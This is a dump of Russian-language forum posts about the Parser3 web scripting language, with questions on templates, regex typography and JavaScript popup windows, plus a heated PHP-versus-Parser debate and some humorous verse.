Это касаемо локальных файлов, т.е. если у тебя XSL находятся не в БД. Если в БД, очевидно что они автоматически перекодируются в windows-1251, однако в файле стоит UTF-8 и поэтому выдаётся ошибка. Как вариант менять все кодировки в атрибуте encoding на windows-1251"
"9298","Значит так. Шаблоны у меня могут быть как XSL, так и обычный HTML. Идея в том, чтобы нагенерить кучу html на сайт, неважно, из XSL или нет (если шаблон не является XSL, он сохраняется на сайт as-is), а ПОТОМ - инклудить их друг в друга. \
То есть генерируем navigation.html из XML-данных, а потом, например, в index.html (сохраненный as-is) инклудить этот navigation. Фишка в том, что SSI-директивы не работают, благодаря наличию парсера, а парсером инклудить - какой смысл вообще огород городить с этими шаблонами :-) Ведь задумка именно в том, чтобы на конечном сайте (в данный момент - это поддиректория, куда все генерируется) парсер вообще не использовать. Будет, имхо, экономия ресурсов сервера, нет? Так вот, каким макаром инклудить? Делать другое расширение для парсерных файлов - не html? В XSL вроде бы есть какие-то директивы типа include или import, но по-моему они не годятся :-) Что посоветуете?"
"9299","и вообще его не надо использовать, можно посоветовать делать все парсером и использовать его механизмы кеширования, очень мощная вещь."
"9300","не место глобальным переменным в $MAIN - там и так всего навалом.\
выход: class global - в нем определять все.\
заодно и видно хорошо $global:variable - глобальная или локальная"
"9301","Существуют-ли в природе %субж%и в каком-нибудь виде? Ну там операторы типа: текст распарстить, валидность е-майла проверить и т.д. и т.п.\
\
Или каждый сам для себя пишет и каждый начинающий юзер все начинает с начала?"
"9307","чей-то я не разобрался с ограничителем символов {min,max}... можно пример?\
А то я его куда только ни вставлял, чуть ли не в... :)\
\
И еще: я тут код составил, но кое-где оно действительно так —\
слишком много NBSP-шек получается, можно мнение —\
чем лучше пренебречь? И как его сделать покомпактнее,\
а то слишком длинный выходит, а через .replace — не получается\
(или руки не оттуда...)\
\
Но код еще сырой -- его еще надо разбить с учетом языка RU/EN...\
\
Код:\
[code]\
@text_ref[text]\
\
# вот здесь, по идее, должен несколько пробелов в один сливать, но в Perl\
# /ab*c/ -- звездочка показывает, N-ное число символов, а в Парсере -- вроде нет...\
$text[^text.match[ *][g]{ }]\
$text[^text.match[\\s\\n][g]{\
}]\
$text[^text.match[&][g]{&amp^;}]\
$text[^text.match[ ][g]{&nbsp^;}]\
$text[^text.match[ —][g]{&nbsp^;&#151^;}]\
$text[^text.match[--][g]{&#151^;}]\
$text[^text.match[ ][g]{&nbsp^;}]\
$text[^text.match[((\\s|\\A|^;|<.>)(«|\"))][g]{${match.2}&#0171^;}]\
$text[^text.match[»|\"][g]{&#0187^;}]\
$text[^text.match[\\“][g]{&#0147^;}]\
$text[^text.match[\\”][g]{&#0148^;}]\
$text[^text.match[ '][g]{ &#145^;}]\
$text[^text.match['][g]{&#146^;}]\
$text[^text.match[(\\s|\\A|^;)([ёа-яa-z0-9]+(-[ёа-яa-z0-9-]+))][g]{${match.1}<NOBR>${match.2}</NOBR>}]\
$text[^text.match[((\\s|\\A|^;)[Тт|Ии|Жж]\\.) ][g]{${match.1}&nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A|^;)[Оо](|б|т)) ][g]{${match.1}&nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A|^;)[Вв](|о)) ][g]{${match.1}&nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A|^;)[Тт]ов\\.) ][g]{${match.1}&nbsp^;${match.postmatch}}]\
$text[^text.match[([А-Я]\\.) ][g]{${match.1}&nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A|^;)[MD]([rs]\\.|[rs]|rs|rs\\.)) ][gi]{${match.1}&nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A|^;)[A-ZА-Я]+[a-zа-я]\\.) ][g]{${match.1}&nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A|^;)[Сс](|о)) ][g]{${match.1}&nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A|^;)[Дд](о|ля)) ][g]{${match.1}&nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A|^;)[Ии](|з|ли)) ][g]{${match.1}&nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A|^;)[Пп](ро|о|од|еред|ред|ри)) ][g]{${match.1}&nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A|^;)[Нн](и|е|а|ад)) ][g]{${match.1}&nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A|^;)[Зз]а) ][g]{${match.1}&nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A|^;)[Кк](|о)) ][g]{${match.1}&nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A|^;)[Уу]) ][g]{${match.1}&nbsp^;${match.postmatch}}]\
$text[^text.match[((\\s|\\A|^;)[Аа]) ][g]{${match.1}&nbsp^;${match.postmatch}}]\
$text[^text.match[ ([г]\\.)(|[ .,:^;.?!\"”»…\\/])][g]{&nbsp^;${match.1}}]\
$text[^text.match[ ([Яя](нвар)(ь|я)|[Фф](еврал)(ь|я)|[Мм](арт)(|а)|[Аа](прел)(ь|я)|[Мм]ая|([Ии](ю)(ня|ля))|[Аа](вгуст)(|а)|[Сс](ентябр)(ь|я)|[Оо](ктябр)(ь|я)|[Нн](оябр)(ь|я)|[Дд](екабр)(ь|я))][g]{&nbsp^;${match.1}}]\
$text[^text.match[((\\s|\\A|^;)[г]\\.) ][g]{${match.1}&nbsp^;}]\
$text[^text.match[ ([Бб](|ы)( |[ .,:^;.?!\"”»…\\/]))][g]{&nbsp^;${match.1}}]\
$text[^text.match[\\A][g]{<P>}]\
$text[^text.match[(\\n)][g]{</P>\
${match.1}<P>}]\
$text[^text.match[(.+)\\Z][g]{${match.1}</P>}]\
$tttexttt[$text]\
[/code]"
"9309","Цитирую:\
\
[quote]\
NOBR\
NOBR используется в случаях, когда &nbsp; неуместен, то есть когда в слове нет пробелов, но оно не должно переноситься. Это касается телефонных номеров и некоторых слов, которые пишутся через дефис (некоторые браузеры переносят слова в месте дефиса).\
\
<nobr>212–85–06</nobr>\
<nobr>во-первых</nobr>\
\
Нельзя писать номера телефонов на западный манер — то есть, с одним дефисом (212–8506), нужно всегда писать с двумя. Это касается не только веба, для бумаги правило то же.\
[/quote]\
...\
\
Это я не в нос тычу, это я к тому, что надо как-то ограничить, а как — не знаю...\
\
Хотя, такие длинные дефисники будут заметны уже в момент редактуры — я так думаю..."
"9310","Где-то пол года тому назад убил я тут НЕДЕЛЮ своей жизни на установку ЧУДА по имени парСЕР, но весь коллектив \"специалистов\" сошелся на том, что у меня глючный хостинг. \
Простите за откровенность и понимание, которое появилось у меня после прочтения мАНУАЛА по вашей птичке и гор книг по РНР, что последнему ВАША ГАДОСТь и в подметки не годится.\
Извените за откровенность... "
"9312","А если попытаться и под NN и под Lynx и еще под...\
\
А вообще-то, про первый NN можно уже, наверное, начать забывать..."
"9314","Как после нажатия кнопки \"отправить\" на этом форуме закрывается окно и обновляется окно его породившее?"
"9315","Дорогой, WOOFER!\
\
Я не знаю PHP и не могу сказать про их различия, но тех возможностей, которые дает ПАРСЕР, мне достаточно. Могу добавить, что на установку этого ЧУДА у меня ушло буквально несколько минут, а если считать от момента прочтения документации, то 1 день.\
\
Поделитесь с нами в чем конкретно заключаются отличия PHP от ПАРСЕР3.\
\
С уважением,\
Baurjan."
"9316","С первого раза и про C++ можно сказать что это гавно. Сначала разберись что к чему, а потом с доказательствами утверждай что парсер это сакс, а так это все выглядит как вопли истеричной женщины по любому пустяку."
"9317","А делается это так :\
\
главное окно называешь main\
[code]\
<script language=\"javascript\">\
self.name='main';\
</script>\
[/code]\
\
потом в открывающемся окне пишешь : \
[code]\
<script language=\"javascript\">\
function go(){\
document.forms.add.target='main';\
window.close();\
}\
</script>\
<form method=\"post\" name=\"add\" action=\"\" onSubmit=\"go()\">\
.\
.\
.\
[/code]\
\
и усе...\
\
юзайте на здоровье!"
"9318","а \"наш\" Парсер сильнее PHP+ASP и требует нежности и внимания. У тебя, как я понял, этого нет. Копай котлован лопатой..."
"9319","Вообще можно по-разному, хотя этот вариант довольно забавен. Проще (мне первое, что пришло на ум...) - отправлять форму в это же окно, затем выполнять нужные данные, закрывать данное окно, затем обновлять парент.\
Хотя, это немного громоздко и менее интереснее...\
Ура новым идеям =)"
"9321","это самая первая моя работа. Многое не спортивно, но переделывать не стал. Как никак - история!..:)\
\
http://crimnet.invex.ru\
\
и это...там многое пока еще пустое, но скоро будет все ob..."
"9323","В одном из параграфов ру/ководства написано, что этот сайт можно смотреть даже на Netscape1.0. Вот я попробовал, а он мне говорит, что не понимает кодировки windows1251. Как же мне просмотреть этот сайт?"
"9324","Все было придумано моими \"руками\"! Вот вам зуб!\
\
Но если вы про некоторые детали с parser.ru, так это все воплощение уроков мануала... Как говорили, так и делал...:)))"
"9325","Уснули километры проводов, уснули мониторы, материнки,\
Уснули мыши, шарики мышов, цветные гифки и jpeg картинки.\
Все биты, байты все объяты сном, и таймер больше такт не отбивает. Не крутится уж больше CD ROM, и память с кешом тихо засыпает.\
\
Отключен интернет, погас модем, процессор флаги выставил отбоя Не бегают пакеты по сети еще вчера не ведавшей покоя, Коннект разорван и прервалась нить, связующая близкое с далеким. Динамик спит, чуть дышит микрофон у спящего винчестера под боком.\
\
Спит сканер, стример. Принтер сном объят, программы каждою своею строчкой. Ячейки памяти и электроны спят. Все числа с плавающей и обычной точкой. И каждый слот, деталь свою прижав, и дисковод дискету обнимая. Машинный код недвижимый, устав лежит, беспечно сну внимая.\
\
И пиксели не радуют уж глаз, системный блок в объятиях Морфея Стоит во тьме, Луна - большой топаз, лениво освещает батарею Бесперебойного питания. В тиши клавиатура дремлет под рукой твоею Усни родная, и пусть сон явит то, что сказать тебе я не успею.\
"
"9326","на этом форуме пост идет на документ, который релоадит оперена и закрывается."
"9327","а как ты релоадишь опенер?"
"9328","Privet vsem,\
ktopnibud mozhet podskazat metod kak mozhno vytjanut iz textfile table distinct values odnoj kolonki (chtoto tipo select distinct category)... K solzhaleniju v proekte ne mogu ispolzovat MySQL i mne nuzhno hranit dannye v textovom file.\
\
bolshoe spasibo"
"9329","сделать так (первое, что пришло в голову):\
\
вытянуть все записи, а потом отобрать unique..."
"9330","izvinjajus za tupost, unique est funkcija takaja nedocumentirovannaja ili samomu algoritm nado delat'?"
"9331","прислали тут по аське - понимаю, что оффтопик, но пускай кто-то улыбнётся :)\
\
[code]Песенка ослика-ораклиста\
\
Hе секрет, что rollback надо делать пореже,\
Лучше делать почаще commit!\
Я программой своей скоро сервер повешу -\
У админа пускай голова поболит.\
\
Под крики о кастрации,\
В обкуренной прострации,\
Как следствие мутации\
Рождается в момент\
Rollback segment для маленькой,\
Для маленькой такой транзакции,\
Для скромной такой транзакции\
Огромный такой сегмент!\
\
Hе секрет, что rollback - это язва и грыжа,\
Геморрой и чуть-чуть гайморит.\
Если ты программист, а не ослик бесстыжий -\
Лучше делай почаще commit!\
\
Припев.\
\
Hе секрет, что друзьям тоже надо ресурсы,\
Hадо память, процессор и диск...\
Так что делай commit, а иначе... ты в курсе,\
Что rollback - для тебя неоправданный риск.\
\
Припев.[/code] :) \"Я плакаль\"\
"
"9333","[i]Где-то пол года тому назад убил я тут НЕДЕЛЮ своей жизни на установку ЧУДА по имени парСЕР[/i]\
\
..и с тех пор, как только мне взгрустнётся, я открываю архивы этого форума, нахожу свидетельства этого \"действа\" и долго ржу..."
"9334","Надо накатить столько абсента, чтоб въехать в кривейший систаксис парсера. Можно до остервенения говорить, что парсером могут делать сайты даже секретарши, которые не мыслят по-программистки, но это не довод. Вещь (парсер), ноги у которого растут 10-минутного хака первоначального автора (видимо, Моршнего) около-пятилетней давности, не может стать нормальным (для программиста) средством разработки (даже под web). А вот PHP, взявший лучшее из C, Perl, etc, несмотря на весь гонор студии, все равно лучше, и сравнивать его с парсером бессмысленно ;-)."
"9336","Я в этот форум, например, ничего запостить с Palm не могу - ну нету в браузере там поддержки JS :(\
\
Плюс эти фокусы с window.opener в ряде случаев приводят к вылету браузера с установленным ЯндексБаром...\
\
В общем, пользуйтесь JS по минамуму - типа, для валидации форм и подобного и оставляйте \"не-js\" путь, а, товарищи, веб, простигосспди, мастера, а? :)"
"9339","Есть не плохой тест на удобочитаемость языка программирования -- md5. Запрограммируйте md5 на парсере, а потом попытайтесь объснить получившуюся \"программу\" кому-нибудь (но не секретарше, и не html-блин-кодеру, а хотя бы программисту).\
И остерегитесть того, чтобы испытуемый Вас не убил за проявленную к нему жестокость.\
Вот вам и возможность сопровождения.\
PHP, Perl и даже JavaScript прекрасно с этой задачей справились.\
Можно сто лет говорить, что парсер противоречит всем известным представлениям о построении языков программирования, но я этого делать не буду, ибо ни к чему это, так как тут вместо все аргументов двигают один аргумент -- \"авторитет\" студии в этом вопросе."
"9340","ибо других -- нет."
"9341","'ибо других -- нет."
"9342","уважаемый, давайте поконкретнее, а то выражения типа \"кривейший систаксис парсера\" это не аргумент. Вот например кусок FAQ:\
\
А поподробнее про отличия Parser от PHP (для специалистов)?\
Не претендуя на полноценный анализ:\
\
Parser макроязык, в нем нет оператора print, а синтаксис PHP похож на C. Поэтому Parser сам по себе готовый обработчик шаблонов, в PHP приходится использовать сторонние библиотеки\
В Parser поддержка UTF-8 интегрирована и прозрачна для разработчика, а в PHP это набор функций\
В Parser единый интерфейс для работы с серверами баз данных, включая blob поля, а в PHP для каждого сервера свой набор функций\
В Parser объектная технология активно используется в системных типах — строка это объект с методами, а в PHP есть просто набор функций для работы со строками.\
В Parser использовать XML и XSL проще, чем в PHP.\
В Parser есть системный тип таблица, а в PHP нет.\
В Parser встроены функции кеширования, а в PHP нет.\
В Parser повсеместно реализована автоматическая обработка пользовательского ввода — это когда например при формировании SQL запроса вам заменят ' на \\', а в PHP только зачатки этого подхода.\
\
Что вы скажете?"
"9343","Никто не собирается объяснять тебе истину в последней инстанции.\
Найти истину тебе предстоит самому."
"9344","поддержка md5 уже есть в ^math:crypt[...] за подробностями в доку.\
\
Да и вообще подобными задачами(низкого уровня) должны заниматься соответствующие языки, читай C++, - универсального языка нет и не будет, для каждой задачи свой инструмент. Если вы будете забивать гвозди электродрелью вы согнёте пару штук гвоздей, разобьете себе руки, может током долбануть(если дрель из розетки не выключена), но толку от этого мало."
"9345",">Parser макроязык, в нем нет оператора print, а синтаксис PHP похож на C. Поэтому Parser сам по себе готовый обработчик шаблонов, в PHP приходится использовать сторонние библиотеки\
\
Синтаксис, похожий на С, -- это явный плюс. Я не сторонник старперства, но K&R (авторитету которых можно верить) придумали именно С, а не парсер.\
\
>В Parser поддержка UTF-8 интегрирована и прозрачна для разработчика, а в PHP это набор функций\
\
Согласен, но: вы часто используете UTF-8 на web'e?\
\
>В Parser единый интерфейс для работы с серверами баз данных, включая blob поля, а в PHP для каждого сервера свой набор функций\
\
Полноценные разработчики на PHP используют единый класс для  интерфеса с БД, а не кодят отдельно под каждую БД.\
\
>В Parser объектная технология активно используется в системных типах — строка это объект с методами, а в PHP есть просто набор функций для работы со строками.\
\
Согласен, методология использования объектов более наглядна, но все портят эти -- ^QWER[ ^TYTYU[ ] ]. Мы чего, массивы тут используем?\
\
>В Parser использовать XML и XSL проще, чем в PHP.\
\
Это почему?\
\
>В Parser есть системный тип таблица, а в PHP нет.\
\
Встречные заявление -- такой тип не нужен, ибо есть массивы, класса и оператор echo (print)/\
\
>В Parser встроены функции кеширования, а в PHP нет.\
\
Кешированое настолько привязано к используемому серверу, что надо самому понимать суть его работы и делать для этого шаги, ибо полно подводных камней (это из опыта, так как сколько версий того же апача, столько тонкостей, а про iis - я просто промолчу), а надеятся на автором парсера - самонадеянно.\
\
>В Parser повсеместно реализована автоматическая обработка пользовательского ввода — это когда например при формировании SQL запроса вам заменят ' на \\', а в PHP только зачатки этого подхода.\
\
Согласен, но делая это вручную, только улучшаешь свое понимание, что происходит (как и в случае кэшировани)"
"9346","Спасибо, я читал доку по парсеру и про ^math в курсе (иначе базарить было бы глупо ;-). \
А вопрос стоит в балансе возможностей и читабельности языка для программирования под web."
"9348","> Согласен, но: вы часто используете UTF-8 на web'e?\
\
бывает, иногда могут быть XML/XSL файлы в данной кодировке, - они автоматически перекодируются в кодировку для выдачи юзеру. Конкретный пример создание XSL с помощью XML SPY он русский только в UTF-8 воспринимает\
\
>Синтаксис, похожий на С, -- это явный плюс. Я не сторонник >старперства, но K&R (авторитету которых можно верить) придумали > именно С, а не парсер.\
\
Ключевое слово [b]авторитет[/b] см. свои пред. посты\
\
> Полноценные разработчики на PHP используют единый класс для интерфеса с БД, а не кодят отдельно под каждую БД.\
\
Тут тоже не кодят отдельно под каждую БД, на одной странице можно делать запрос к нескольким разным БД, типа так:\
[code]\
^connect[mysql://...]{ \
 $news[^table::sql{select * from news}] \
} \
\
^connect[odbc://]{ \
 $news[^table::sql{select * from news}] \
} \
\
^connect[oracle://...]{ \
 $news[^table::sql{select * from news}] \
} \
[/code]\
\
Согласитесь, просто и наглядно.\
\
> Согласен, но делая это вручную, только улучшаешь свое понимание, что происходит (как и в случае кэшировани)\
\
Используйте для создания всего ассемблер, знаете как вы улучшите свое понимание компьютера и уменьшите скорость разработки."
"9349","баланс, - каждый понимает это по-своему. Однако, я по-прежнему не вижу реальных аргументов за php, есть только субъективные утверждения про синтаксис, про полноценных программистов и пр., фактов нету."
"9350","согласен, но иногда бывает нужно и JS попользавать..."
"9351","оставим \"полноценных программистов\" - ибо не по теме ;-).\
а вот по поводу синтаксиса, как вы сами и сказали -- можно и из ассемблера сделать \"удобный макроязык\".\
только вот будет ли он удобным?"
"9352","и я его не совсем понял?"
"9353","авторитеты: ну да K&R и студия... ;-) время покажет.\
\
а кто говорил, что в php все неудобно работать с БД? (...\"клиент путался в показаниях\"... ;-)\
\
Используйте для создания всего бейсик (лучше visual), никогда и не узнаете как вы улучшить свое понимание компьютера и уменьшите скорость разработки. ;-)"
"9354","След из снежинок за курсором нарисовать?"
"9356","но иногда без Яваскрипта ну просто не обойтись!"
"9357","Что из необходимых вещей нельзя сделать без js?"
"9359","[b]woofer:[/b] http://parser.ru/forum/?id=154\
\
Мой сервер Apache, структура дирректорий следующая:\
<>.com.ua\
public_ftp(dir)\
public_html(gir)\
cgi-bin(dir)\
\
Отсюда и вопрос - какой ИМЕННО парсер мне скачивать и что куда распаковывать. Именно интересуют файлы parser3.cgi, .htaccess, parser3.cfg и может еще что-то\
И еще почему нигде ничего не написано про выставление прав доступа? Или это не важно?\
\
[b]Luzhnikovskiy:[/b]\
\
1. Сам парсер - в /cgi-bin/\
2. Остальное - в /cgi-bin/etc/. Потом правильные пути прописать в parser3.conf\
3. Если у тебя *nix - права и так в архиве привильные, а если Win, то и права не нужны.\
\
[b]woofer:[/b]\
\
нет, это все конечно ОЧЕНЬ полезно, а вот только какой дистрибутив скачивать для Апача???\
Вообще хоть кто-то пошагово объясните что-куда совать на структуре директорий следующего типа:\
<>.com.ua\
|\
|-public_ftp(dir)\
|-public_html(gir)\
| |\
| |-cgi-bin(dir)\
\
Именно интересуют файлы parser3.cgi, .htaccess, parser3.cfg и может еще что-то\
\
Особенно мне нравится [i]\"Вообще хоть кто-то пошагово объясните что-куда совать на структуре директорий следующего типа\"[/i] - объяснили и что с того?\
\
По-моему woofer'у стоит стереть всё с винчестера и заняться выращиванием васильков или гладиолусов. Какой нафиг тут парсер :)"
"9361","Но глюки случаются. Одно время у меня висели все версии одновременно — так там даже Второй NN читал прозрачность GIFов..."
"9364","\"А грузинский коньяк лучше, чем армянский\". \"Ну чем, чем лучше ?\". \"Чем армянский\".\
ИМХО, сей флейм того же сорта, вам не кажется, господа ? Для меня парсер СИЛЬНО удобнее тем, что сделать рабочий прототип для тестирования - занимает времени раз в несколько меньше, чем на ПХП, каковой я раньше для тех же целей применял. Поскольку код потом выбрасывать, мне как-то все равно, насколько оптимально работает парсер относительно ПХП. Почему бы (ежели хочется поспорить и пофлеймить) не провести аргументированный анализ, для каких задач и в каком случае лучше ПХП, а для каких парсер ? Хоть польза была бы ..."
"9365","хотя на флеше можно нарисовать всякие красивости, но всеравно - мутор. А про java-applet'ы я вообще молчу - надо же такой бред придумать, а некоторые умудряются слюною истекать по этой...даже не знаю, как обозвать...\
\
А про javascript ты зря. С его помощью страницы приобретают динамичность и возможность выполнения некоторых простых операций на стороне клиента, что сказывается на юзабилити и времени, потраченном на сёрф сайта. "
"9366","Это да. Но знания, полученные при использовании php пусть даже под web, уже не выбросишь, так как на php получаются и web-скрипт-дела, и начиная от макро-дел на уровне генерации исхоников для проектов на других азыках (c, c++), и заканчивая мини-вебсерверами (даже perl отохел в сторону из-за монстровости). Вот и стоит вопрос - надо ли на использование парсера время тратить. ;-)"
"9367","Я Парсер освоил за неделю, и уже 3 месяца пишу только на нем.\
А на ПХП я помню, убил 2.5 недели. ПХП силен, но грузен, и к нему я вряд ли уже вернусь...:)"
"9368","Ценность Парсера заключается именно в том самом \"погружение языка в текст\". На первый взгляд кажется, что код становится неудобочитаемым, но это далеко не так ... \
\
В чем отличие языка для веба от классических языков программирования? А в том, что мы не обрабатываем данные, а формируем их. Т.е. наша задача собрать данные из нескольких источников в один документ. Вот здесь уже важно не городить огород из кучи громоздких операторов print, а иметь возможность прозрачно сформировать выходной документ [причем совершенно не важно, что это - html, xml или что-то другое].\
\
Кроме того Парсер уже внутри себя имеет практически все необходимые низкоуровневые объекты, что позволяет делать очень компактные библиотеки."
"9369","не все, касаемое веба, ограничивается созданием \"сайтов\".\
как насчет скрипта, который в онлайне, при загрузке страницы, соединяется по сокетам с другой тачкой и обменивается с ней данными по весьма нетривальному протоколу...\
вот тут и получается программирование, а не создание сайтов.\
а программированию нужна понятность и возмоность сопровождения."
"9370","не понятно, почему \"обработка\" в таком непочете?\
полно задач для web'a, когда нужна весьма продвинутые возможности именно по обработке данных, сетевым делам, системным (в частности) юниксовым делам (без нормального RPC вообще не обойтить)."
"9371","Для обработки данных есть СУБД, которые специально для этого и предназначены.\
\
К системе начинают обращаться в достаточно сложных случаях. С большой долей вероятности можно предположить, что такие задачи критичны к скорости выполнения и ресурсам. Так зачем же это далать на \"скриптовых\" языках!? ... Инструмент должен соответствовать задачам. Тут уже приводился пример - сайт mtv.ru сделан на Парсере, а вот чат написан на c++. Наша цель - выбор решения адекватного для конкретной задачи, а не \"универсального\", как Вы нам тут пытаетесь доказать."
"9372","я надеюсь, что большинство людей здесь руководствуются не \"чистой идеей\", а разумом и опытом.\
не стоит плодить инструменты на каждый чих, как web и все, что с этим связано."
"9373","Извиняюсь, мой косяк.. Просто функцию сохранил на в auto.p и вообще этот файл нигде не упомянул. А в auto.p была такая же функция. Что-то стормозил.."
"9374","Разобрался... все оказалось очень просто.."
"9375","Спасибо, разобрался.. моя вина была."
"9376","Цитата с PHP.NET\
[quote]PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. [/quote]"
"9377","$cur_id[^MAIN:pForum.updateMessage[$form:fields]]\
\
<form action=\"\" method=\"post\">\
<script type=\"text/javascript\" language=\"JavaScript\"><!--\
window.opener.location.href = './?id=${cur_id}'\
window.opener.focus()\
window.close()\
//--></script>\
</form>"
"9378","[code]$distinct[^table.hash[column][$.distinct(1)]][/code]\
получится, правда, хэш (то есть сортировать нельзя), но его можно легко и в table (если надо)."
"9379","Есть такие ситуации, когда есть необходимость в знание каких-нибудь серверных языков, не имея при этом никаких математических уклонов, мозгов, и/или математических образований... И в таких ситуациях досточно прийти в книжный магазин, что бы понять, что дружба с серверными скриптами тебе заранее обречена.\
Так у меня было пока я не встретил p2(до этого был asp, но ... это отдельная и очень, очень, очень _печальная_ песня).\
Дальше реально все было на лету и много работая с p2 дало мозгам возможность понимать все остально \"на лету\".\
javascript сдался супер быстро -- мозги уже на подсознательном уровне понимали все...а когда появился p3 у меня конечно были \"разные\" эмоции по синтаксису, _но_ досточно было сесть и _просмотреть_ доку как все стало на свои места.\
И когда я открываю что-нить perl-php'шное -- лишний раз убеждаюсь, что p2&p3 менять я точно не буду на них и причина одна -- понимать то, что я уже имею -- нет смысла.\
woofer -- пойми, каждому свое и спорить о том, что лучше -- ненадо.\
мир.\
\
"
"9380","Есть предложение (думаю, соратники поддержат) реализовать возможность указывать методы и поля результата функции, к примеру:\
\
$text[$file::load[text;file.txt].text]\
$left[^text.left(4).lower[]]\
\
Было бы очень удобно. И код получится краткий, наглядный и логичный.\
\
Или я неправ?"
"9381","Спорить что лучше все равно что выяснять что раньше появилось курица или яйцо. Люди носят разную одежду, разные прически, ездят на разных машинах.. Но при этом никто никого не пытается убедить что джинсы лучше спортивного костюма или туфли лучше кросовок, каждый выбирает что ему нравится.  То же самое можно сказать и в отношении \"движков\" сайтов. Я не профессионал. Делаю, так сказать, первые шаги. И хоть я из Прибалтики, а не из России мне все же льстит что Парсер создан в Росии! Его освоение вроде тоже особого напряжения мозгов не требует. Возможно и ПХП не плох.. но как я уже сказал, каждому свое. Так что давайте просто оставаться при своих мнениях относительно рейтингов. А если человек сторонник ПХП, что он здесь вообще делает? В чужой монасьырь со своим уставом не ходят. Так что давайте жить дружно и просто проявлять уважение друг к другу, а в форуме обсуждать вопросы конкретно относящиеся к технологии. С уважением ко всем, Влад."
"9382","Нормально :) Я говорю, что парсер эффективнее ПХП именно в смысле времени разработки, мне в ответ - зачем время тратить. Ну не программист я, не нужно мне С++ подобие и связанные с этим специальные знания и возможности. Зато кеширование, которое PAF напишет явно лучше, чем я с нуля, очень к месту. Разные ж задачи ! Кстати, на всякий случай, web-script-дела на парсере получаются тоже :)"
"9383","Это очень сильно усложняет код. \
\
[code]$text[^file::load[text;file.txt].text][/code]\
Что должно попасть в переменную $text: объект типа file или результат работы метода load?\
"
"9385","Я начал создавать сайт на parser'e, это мне понравилось.\
Но вот как написать раздел новостей, форум, гостевую книгу, публикацию статей и т.д.?\
На php я мог бы использовать уже имеющиеся многочисленные скрипты.\
А что же делать на Парсере, самому все с нуля?"
"9386","Люди. кто располагает документацией или ссылкой на нее, пожалуйста подкиньте, а то весь Яndex перерыл и ничего не нашел :( кроме самого модуля."
"9388","Фрагмент кода:\
\
[code]$table[^table::sql{select * from table}]\
$table2[^table.select($table.id==1)][/code]\
\
Все столбцы из $table отображаются, а вот из $table2 половина не работает... :( Пишет, что столбец не найден...\
Для примера, допустим:\
$table.id, $table.name и $table.header работают, а из $table2.id, $table2.name и $table2.header работают только id и header\
\
Правда я решил проблему так:\
\
[code]$table[^table::sql{select * from table}]\
$table2[^table::sql{select * from table where id=1}][/code]\
\
Но все равно [b]ОЧЕНЬ[/b] интересно знать почему так может получиться..."
"9389","подумаем, что нам дает такая запись. А дает она нам трудноотлавливаемые ошибки.\
\
Рассмотрим второй пример: \
[code]$left[^text.left(4).lower[]][/code]\
\
Никто не запрещает нам написать в таком случае что-то типа:\
[code]$left[^text.left(4).lower[].mid(2).match[(\\d+)][i]{$match.1}][/code]\
И как это все прикажете отлаживать? И это не самый сложный пример.\
\
Лучше уж придерживаться принципа: одна строка - одно действие."
"9390","А че, тут сколько угодно юзверей с одинаковым именем может быть?"
"9392","[b](Возвращаясь к вопросу о разных браузерах...)[/b]\
\
Вообще, сколько смотрю сайтов, никак не могу понять всю эту колобродь с альтами — по идее, они созданы для текстовых браузеров, которые используют этот текст вместо картинки, и если не выставить альт, то браузер отображает рисунок как [b][img_name][/b], поэтому в рисунках, которые не несут смысловой нагрузки, советуют выставлять пустой альт [b](ALT=\"\")[/b]...\
\
А тут что?\
\
В логотипе (!) стоит пустой альт, а рядом, в \"Парсерной\" птичке — \"Хм...птичка!\"\
\
Все начало документа в Lynx смотрится так:\
\
[code]\
Hm...ptichka! [3.jpg][40.jpg][36.jpg]\
Glavnaya\
...\
[/code]\
\
получается — заголовка страницы или нет вообще (а мог быть — \"Крымский портал\"...), или как заголовок следует рассматривать \"Хм...птичка!\" ???\
\
Может лучше так — в Логотипе вывести [b]\"Крымский портал\"[/b], а в \"птичке\" — [b]\"(Powered by Parser3)\"[/b] и в \"боковушных\" картинках поставить [b]ALT=\"\"[/b]...?\
\
информация к размышлению:\
http://www.htmlhelp.com/feature/art3.htm\
\
Lynx for Win32:\
\
http://www.fdisk.com/doslynx/lynxport.htm\
http://jim.spath.com/lynx_win32/\
http://www.shonai-cit.ac.jp/eci/senshu/ \
\
http://lynx.isc.org/release/"
"9393","[code]\
$left[^text.left(4).lower[].mid(2).match[(\\d+)][i]{$match.1}]\
[/code]\
\
Почему же сложные пример? Прелесть объектов как раз и заключается в очевидности каждого действия. И понимание данного примера не требует больших мозговых усилий: взяли текст, выцепили 4 первых символа, понизили регистр, отрубили первые два и выполнили замену."
"9394","Как-то пытался посчитать количество прожитых разными людьми дней и обнаружил, что $date работает только с датами от 1970 до 2037. Об этом писали, и не раз, но еще было замечено, что (на моем компьютере) летоисчление начинается не с 1970-01-01 00:00 (в этом случае парсер вылетает с ошибкой про инвалид дэйт), а 1970-01-01 05:00. Как подсказывает мне шестое чуство, здесь прослеживается учет часовых поясов (как-то по призде в Англию с ужасом обнаружил, что разница составляет 5 часов: Москва---Лондон 3 часа плюс Москва---Уфа 2часа). Так вот, возник вопрос: нормально это или нет?"
"9395","Flash если в чистом виде, т.е. весь сайт на Flash то это форменное безобразие, хотя тоже не факт, есть и неплохие примеры. Некоторые элементы всеже гораздо удобнее и легче делать и юзать на Flash.\
Что же касаемо JavaScript, то самый живой пример его использования: http://my.yandex.ru/, настраивается весьма просто и удобно... Или любой интернет магазин. Гораздо приятнее видеть корзину перед глазами и иметь представление о том сколько и чего ты в нее положил, что реализуемо исключительно JavaScript"
